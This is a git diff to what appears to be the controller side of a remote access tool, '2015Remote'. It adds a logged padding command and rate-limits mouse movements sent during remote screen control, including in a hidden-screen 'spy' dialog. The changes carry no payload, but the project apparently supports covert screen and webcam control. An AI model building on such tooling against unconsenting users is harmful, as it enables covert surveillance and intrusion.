diff --git a/common/commands.h b/common/commands.h index f155166..ad0fc77 100644 --- a/common/commands.h +++ b/common/commands.h @@ -248,6 +248,7 @@ enum CMD_RUNASADMIN=214, // ADMIN 运行 CMD_MASTERSETTING = 215, // 主控设置 CMD_HEARTBEAT_ACK = 216, // 心跳回应 + CMD_PADDING =217, CMD_AUTHORIZATION = 222, // 授权 CMD_SERVER_ADDR = 229, // 主控地址 TOKEN_ERROR = 230, // 错误提示 diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 7d2acb2..e5528e9 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -1987,6 +1987,10 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) g_2015RemoteDlg->SendMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)ContextObject); break; } + case CMD_PADDING: { + Mprintf("Receive padding command '%s' [%d]: Len=%d\n", ContextObject->PeerName.c_str(), cmd, len); + break; + } default: { Mprintf("Receive unknown command '%s' [%d]: Len=%d\n", ContextObject->PeerName.c_str(), cmd, len); } diff --git a/server/2015Remote/HideScreenSpyDlg.cpp b/server/2015Remote/HideScreenSpyDlg.cpp index cd76483..fa2cda4 100644 --- a/server/2015Remote/HideScreenSpyDlg.cpp +++ b/server/2015Remote/HideScreenSpyDlg.cpp @@ -759,6 +759,19 @@ void CHideScreenSpyDlg::SendScaledMouseMessage(MSG* pMsg, bool makeLP) { if (!m_bIsCtrl) return; + if (pMsg->message == WM_MOUSEMOVE) { + auto now = clock(); + auto time_elapsed = now - m_lastMouseMove; + int dx = abs(pMsg->pt.x - m_lastMousePoint.x); + int dy = abs(pMsg->pt.y - m_lastMousePoint.y); + int dist_sq = dx * dx + dy * dy; + if (time_elapsed < 200 && dist_sq < 18 * 18) { + return; + } + m_lastMouseMove = now; + m_lastMousePoint = pMsg->pt; + } + MYMSG msg(*pMsg); auto low = ((LONG)LOWORD(pMsg->lParam)) * m_wZoom; auto high = ((LONG)HIWORD(pMsg->lParam)) * m_hZoom; diff --git a/server/2015Remote/HideScreenSpyDlg.h b/server/2015Remote/HideScreenSpyDlg.h index f5e957e..e73b5a8 100644 --- a/server/2015Remote/HideScreenSpyDlg.h +++ b/server/2015Remote/HideScreenSpyDlg.h @@ -81,6 +81,9 @@ protected: BYTE m_bCursorIndex; CString m_strTip; + clock_t m_lastMouseMove; // 鼠标移动时间 + POINT m_lastMousePoint;// 上次鼠标位置 + private: CString m_aviFile; CBmpToAvi m_aviStream; diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp index 62c4b1f..a622245 100644 --- a/server/2015Remote/ScreenSpyDlg.cpp +++ b/server/2015Remote/ScreenSpyDlg.cpp @@ -34,6 +34,8 @@ extern "C" char* __imp_strtok(char* str, const char* delim) { return strtok(str, CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject) : DialogBase(CScreenSpyDlg::IDD, Parent, IOCPServer, ContextObject, 0) { + m_lastMouseMove = 0; + m_lastMousePoint = {}; m_pCodec = nullptr; m_pCodecContext = nullptr; memset(&m_AVPacket, 0, sizeof(AVPacket)); @@ -556,6 +558,19 @@ VOID CScreenSpyDlg::SendCommand(const MSG64* Msg) if (!m_bIsCtrl) return; + if (Msg->message == WM_MOUSEMOVE) { + auto now = clock(); + auto time_elapsed = now - m_lastMouseMove; + int dx = abs(Msg->pt.x - m_lastMousePoint.x); + int dy = abs(Msg->pt.y - m_lastMousePoint.y); + int dist_sq = dx * dx + dy * dy; + if (time_elapsed < 200 && dist_sq < 18 * 18) { + return; + } + m_lastMouseMove = now; + m_lastMousePoint = Msg->pt; + } + const int length = sizeof(MSG64) + 1; BYTE szData[length + 3]; szData[0] = COMMAND_SCREEN_CONTROL; diff --git a/server/2015Remote/ScreenSpyDlg.h b/server/2015Remote/ScreenSpyDlg.h index a2c9c11..ba0947b 100644 --- a/server/2015Remote/ScreenSpyDlg.h +++ b/server/2015Remote/ScreenSpyDlg.h @@ -89,6 +89,9 @@ public: AVPacket m_AVPacket; AVFrame m_AVFrame; + clock_t m_lastMouseMove; // 鼠标移动时间 + POINT m_lastMousePoint;// 上次鼠标位置 + bool Decode(LPBYTE Buffer, int size); void EnterFullScreen(); bool LeaveFullScreen();